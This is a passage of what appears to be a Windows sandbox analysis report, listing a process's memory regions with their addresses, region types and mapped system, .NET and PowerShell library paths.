entry_point = 0x7fefc3813b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 890 start_va = 0x7fefcfe0000 end_va = 0x7fefcfeefff entry_point = 0x7fefcfe19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 891 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 892 start_va = 0x7fefbb10000 end_va = 0x7fefbd03fff entry_point = 0x7fefbc9c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 893 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 894 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 895 start_va = 0x20f0000 end_va = 0x23befff entry_point = 0x20f0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 896 start_va = 0x2450000 end_va = 0x24cffff entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 897 start_va = 0x7fefb990000 end_va = 0x7fefbabbfff entry_point = 0x7fefb9994bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 898 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 899 start_va = 0x7fefb1b0000 end_va = 0x7fefb1dcfff entry_point = 0x7fefb1b1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 900 start_va = 0x7feff2a0000 end_va = 0x7feff2f1fff entry_point = 0x7feff2a10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 901 start_va = 0x1f0000 end_va = 0x214fff entry_point = 0x1f0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db") Region: id = 902 start_va = 0x420000 end_va = 0x420fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 903 start_va = 0x7fefd2e0000 end_va = 0x7fefd315fff entry_point = 0x7fefd2e1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 904 start_va = 0x7fefd390000 end_va = 0x7fefd3a9fff entry_point = 0x7fefd391558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 905 start_va = 0x7fefe630000 end_va = 0x7fefe806fff entry_point = 0x7fefe631010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 906 start_va = 0x1e40000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 907 start_va = 0x24d0000 end_va = 0x28c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024d0000" filename = "" Region: id = 908 start_va = 0x7fef47b0000 end_va = 0x7fef47e3fff entry_point = 0x7fef47b0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 909 start_va = 0x7fef7210000 end_va = 0x7fef7266fff entry_point = 0x7fef7211118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 910 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 911 start_va = 0x1e0000 end_va = 0x1e3fff entry_point = 0x1e0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 912 start_va = 0x430000 end_va = 0x433fff entry_point = 0x430000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 913 start_va = 0x1b80000 end_va = 0x1baffff entry_point = 0x1b80000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000018.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db") Region: id = 914 start_va = 0x1bb0000 end_va = 0x1c15fff entry_point = 0x1bb0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 915 start_va = 0x1fc0000 end_va = 0x203ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 916 start_va = 0x7fef47a0000 end_va = 0x7fef47abfff entry_point = 0x7fef47a1380 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 917 start_va = 0x7fef5ee0000 end_va = 0x7fef5f5ffff entry_point = 0x7fef5ee4a8c region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 918 start_va = 0x7fef5f60000 end_va = 0x7fef5f6efff entry_point = 0x7fef5f61040 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 919 start_va = 0x7fefacd0000 end_va = 0x7fefacdafff entry_point = 0x7fefacd4f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 920 start_va = 0x7fefcdd0000 end_va = 0x7fefcdf2fff entry_point = 0x7fefcdd1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 921 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 922 start_va = 0x7fefc8d0000 end_va = 0x7fefc8e6fff entry_point = 0x7fefc8d32b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 923 start_va = 0x7fefc5d0000 end_va = 0x7fefc616fff entry_point = 0x7fefc5d1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 924 start_va = 0x7fee48c0000 end_va = 0x7fee4958fff entry_point = 0x7fee48c2670 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 925 start_va = 0x7fefc1a0000 end_va = 0x7fefc1abfff entry_point = 0x7fefc1a1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 926 start_va = 0x440000 end_va = 0x440fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 927 start_va = 0x23d0000 end_va = 0x244ffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 928 start_va = 0x74b00000 end_va = 0x74bc8fff entry_point = 0x74b00000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 929 start_va = 0x7fee2b00000 end_va = 0x7fee349cfff entry_point = 0x7fee2b00000 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 930 start_va = 0x1c20000 end_va = 0x1c22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c20000" filename = "" Region: id = 931 start_va = 0x1c30000 end_va = 0x1c30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c30000" filename = "" Region: id = 932 start_va = 0x1f40000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 933 start_va = 0x1f80000 end_va = 0x1f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 934 start_va = 0x28d0000 end_va = 0x29cffff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 935 start_va = 0x29d0000 end_va = 0x2ad0fff entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 936 start_va = 0x2b10000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b10000" filename = "" Region: id = 937 start_va = 0x2b90000 end_va = 0x1ab8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 938 start_va = 0x1ab90000 end_va = 0x1b25ffff entry_point = 0x0 region_type = private name = "private_0x000000001ab90000" filename = "" Region: id = 939 start_va = 0x1b260000 end_va = 0x1b2dffff entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 940 start_va = 0x7fee1c20000 end_va = 0x7fee2afbfff entry_point = 0x7fee1c20000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") Region: id = 941 start_va = 0x7ff00020000 end_va = 0x7ff0002ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00020000" filename = "" Region: id = 942 start_va = 0x7ff00030000 end_va = 0x7ff0003ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00030000" filename = "" Region: id = 943 start_va = 0x7ff00040000 end_va = 0x7ff000dffff entry_point = 0x0 region_type = private name = "private_0x000007ff00040000" filename = "" Region: id = 944 start_va = 0x7ff000e0000 end_va = 0x7ff000effff entry_point = 0x0 region_type = private name = "private_0x000007ff000e0000" filename = "" Region: id = 945 start_va = 0x7ff000f0000 end_va = 0x7ff0015ffff entry_point = 0x0 region_type = private name = "private_0x000007ff000f0000" filename = "" Region: id = 946 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 947 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 948 start_va = 0x1c40000 end_va = 0x1c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c40000" filename = "" Region: id = 949 start_va = 0x1b2e0000 end_va = 0x1b5c1fff entry_point = 0x1b2e0000 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 950 start_va = 0x7fee1130000 end_va = 0x7fee11e1fff entry_point = 0x7fee1130000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\microsoft.powershell.consolehost.ni.dll") Region: id = 951 start_va = 0x7fee11f0000 end_va = 0x7fee1c12fff entry_point = 0x7fee11f0000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll") Region: id = 952 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 953 start_va = 0x7fffff10000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 977 start_va = 0x7fee05d0000 end_va = 0x7fee112cfff entry_point = 0x7fee05d0000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\system.management.automation.ni.dll") Region: id = 978 start_va = 0x7ff00160000 end_va = 0x7ff0016ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00160000" filename = "" Region: id = 979 start_va = 0x1f60000 end_va = 0x1f62fff entry_point = 0x1f60000 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls") Region: id = 980 start_va = 0x1b5d0000 end_va = 0x1b68ffff entry_point = 0x1b5d0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 981 start_va = 0x77260000 end_va = 0x77266fff entry_point = 0x7726106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 982 start_va = 0x1f70000 end_va = 0x1f70fff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 983 start_va = 0x1f90000 end_va = 0x1f94fff entry_point = 0x1f90000 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 984 start_va = 0x1b690000 end_va = 0x1b6d0fff entry_point = 0x1b690000 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 985 start_va = 0x7ff00170000 end_va = 0x7ff0017ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00170000" filename = "" Region: id = 986 start_va = 0x1fa0000 end_va = 0x1fa7fff entry_point = 0x1fa0000 region_type = mapped_file name = "microsoft.wsman.runtime.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll") Region: id = 987 start_va = 0x1fb0000 end_va = 0x1fb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fb0000" filename = "" Region: id = 988 start_va = 0x1b6e0000 end_va = 0x1b7dffff entry_point = 0x0 region_type = private name = "private_0x000000001b6e0000" filename = "" Region: id = 989 start_va = 0x1e230000 end_va = 0x1e278fff entry_point = 0x1e230000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 990 start_va = 0x7fee01b0000 end_va = 0x7fee0294fff entry_point = 0x7fee01b0000 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\system.transactions.ni.dll") Region: id = 991 start_va = 0x7fee02a0000 end_va = 0x7fee05cdfff entry_point = 0x7fee02a0000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\system.core.ni.dll") Region: id = 992 start_va = 0x7fee34e0000 end_va = 0x7fee3589fff entry_point = 0x7fee34e0000 region_type = mapped_file name = "microsoft.wsman.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\microsoft.wsman.management.ni.dll") Region: id = 993 start_va = 0x7fee4960000 end_va = 0x7fee49c8fff entry_point = 0x7fee4960000 region_type = mapped_file name = "microsoft.powershell.commands.diagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\microsoft.powershell.commands.diagnostics.ni.dll") Region: id = 994 start_va = 0x7fef12c0000 end_va = 0x7fef12f1fff entry_point = 0x7fef12c0000 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\system.configuration.install.ni.dll") Region: id = 995 start_va = 0x2040000 end_va = 0x2040fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002040000" filename = "" Region: id = 996 start_va = 0x642ff4a0000 end_va = 0x642ff4a9fff entry_point = 0x642ff4a0000 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\culture.dll") Region: id = 997 start_va = 0x7fedfe70000 end_va = 0x7fedff87fff entry_point = 0x7fedfe70000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\microsoft.powershell.commands.management.ni.dll") Region: id = 998 start_va = 0x7fedff90000 end_va = 0x7fee01a5fff entry_point = 0x7fedff90000 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\microsoft.powershell.commands.utility.ni.dll") Region: id = 999 start_va = 0x7fee3870000 end_va = 0x7fee38adfff entry_point = 0x7fee3870000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\microsoft.powershell.security.ni.dll") Region: id = 1000 start_va = 0x1b7e0000 end_va = 0x1b833fff entry_point = 0x1b7e0000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorrc.dll") Region: id = 1001 start_va = 0x7fedf4b0000 end_va = 0x7fedf644fff entry_point = 0x7fedf4b0000 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\system.directoryservices.ni.dll") Region: id = 1002 start_va = 0x7fedf650000 end_va = 0x7fedf7bbfff entry_point = 0x7fedf650000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\system.management.ni.dll") Region: id = 1003 start_va = 0x7fedf7c0000 end_va = 0x7fedfe64fff entry_point = 0x7fedf7c0000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.xml\\ee795155543768ea67eecddc686a1e9e\\system.xml.ni.dll") Region: id = 1004 start_va = 0x7fef52a0000 end_va = 0x7fef52a6fff entry_point = 0x7fef52a0000 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll") Region: id = 1005 start_va = 0x2040000 end_va = 0x2050fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002040000" filename = "" Region: id = 1006 start_va = 0x2060000 end_va = 0x2060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002060000" filename = "" Region: id = 1007 start_va = 0x7fedf320000 end_va = 0x7fedf4a3fff entry_point = 0x7fedf320000 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll") Region: id = 1008 start_va = 0x7ff00180000 end_va = 0x7ff0018ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00180000" filename = "" Region: id = 1009 start_va = 0x7ff00190000 end_va = 0x7ff0019ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00190000" filename = "" Region: id = 1010 start_va = 0x7ff001a0000 end_va = 0x7ff001affff entry_point = 0x0 region_type = private name = "private_0x000007ff001a0000" filename = "" Region: id = 1011 start_va = 0x7ff001b0000 end_va = 0x7ff001bffff entry_point = 0x0 region_type = private name = "private_0x000007ff001b0000" filename = "" Region: id = 1012 start_va = 0x7ff001c0000 end_va = 0x7ff001cffff entry_point = 0x0 region_type = private name = "private_0x000007ff001c0000" filename = "" Region: id = 1013 start_va = 0x7ff001d0000 end_va = 0x7ff001dffff entry_point = 0x0 region_type = private name = "private_0x000007ff001d0000" filename = "" Region: id = 1014 start_va = 0x7ff001e0000 end_va = 0x7ff001effff entry_point = 0x0 region_type = private name = "private_0x000007ff001e0000" filename = "" Region: id = 1015 start_va = 0x7fefce70000 end_va = 0x7fefce7afff entry_point = 0x7fefce71030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1016 start_va = 0x7ff001f0000 end_va = 0x7ff001fffff entry_point = 0x0 region_type = private name = "private_0x000007ff001f0000" filename = "" Region: id = 1017 start_va = 0x7ff00200000 end_va = 0x7ff0020ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00200000" filename = "" Region: id = 1018 start_va = 0x7ff00210000 end_va = 0x7ff0021ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00210000" filename = "" Region: id = 1019 start_va = 0x7fefcea0000 end_va = 0x7fefcec4fff entry_point = 0x7fefcea9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1020 start_va = 0x1b840000 end_va = 0x1b93ffff entry_point = 0x0 region_type = private name = "private_0x000000001b840000" filename = "" Region: id = 1021 start_va = 0x23c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 1022 start_va = 0x1b940000 end_va = 0x1bc3efff entry_point = 0x1b940000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1023 start_va = 0x7fedead0000 end_va = 0x7fedf31afff entry_point = 0x7fedead0000 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\system.data.ni.dll") Region: id = 1024 start_va = 0x7fefd080000 end_va = 0x7fefd08efff entry_point = 0x7fefd081020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1025 start_va = 0x7fefd170000 end_va = 0x7fefd2d6fff entry_point = 0x7fefd1710c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1026 start_va = 0x7fefe3a0000 end_va = 0x7fefe3a7fff entry_point = 0x7fefe3a1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1027 start_va = 0x7feff040000 end_va = 0x7feff08cfff entry_point = 0x7feff041070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1028 start_va = 0x7ff00220000 end_va = 0x7ff0022ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00220000" filename = "" Region: id = 1029 start_va = 0x7ff00230000 end_va = 0x7ff0023ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00230000" filename = "" Region: id = 1030 start_va = 0x2ae0000 end_va = 0x2aeffff entry_point = 0x0 region_type = private name = "private_0x0000000002ae0000" filename = "" Region: id = 1031 start_va = 